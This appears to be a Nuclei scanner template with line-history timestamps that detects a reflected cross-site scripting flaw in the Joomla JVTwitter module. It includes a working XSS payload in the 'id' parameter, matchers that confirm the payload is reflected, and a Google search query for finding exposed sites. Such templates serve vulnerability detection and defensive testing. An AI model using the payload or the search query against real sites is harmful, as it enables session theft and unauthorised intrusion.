2023-10-17 07:20:28 +00:00
id : joomla-jvtwitter-xss
info :
name : Joomla JVTwitter - Cross-Site Scripting
author : r3Y3r53
severity : medium
description : |
The attacker can send to victim a link containing a malicious URL in an email or instant message can perform a wide variety of actions, such as stealing the victim's session token or login credentials.
reference :
- https://buaq.net/go-44433.html
- https://cxsecurity.com/issue/WLB-2020110041
- https://extensions.joomla.org/
metadata :
verified : true
2023-10-17 17:52:26 +00:00
max-request : 2
2023-10-17 07:20:28 +00:00
google-query : inurl:mod_jvtwitter/jvtwitter.php?id=
tags : joomla,jvtwitter,xss
http :
- method : GET
path :
- "{{BaseURL}}/modules/mod_jvtwitter/jvtwitter.php?id=%22%3E%3Cimg%20src=x%20onerror=prompt(document.domain);%3E"
- "{{BaseURL}}/modules/mod_jvtwitter/jvtwitter.php?id="
matchers :
- type : dsl
dsl :
- 'status_code_1 == 200'
- 'contains(content_type_1, "text/html")'
- 'contains(body_1, "><img src=x onerror=prompt(document.domain)")'
- 'contains(body_2,"{\"rs\":\"0")'
condition : and
2023-10-20 11:41:13 +00:00
# digest: 490a00463044022058829af34bcf8105e471a2037e8b16c67f15bc84a7b7aa0aede72d4b7870baad022044c335f482d540833af4ceb69059d8c28361dc6228b859b68026130b7b5d12cf:922c64590222798bb761d5b6d8e72950
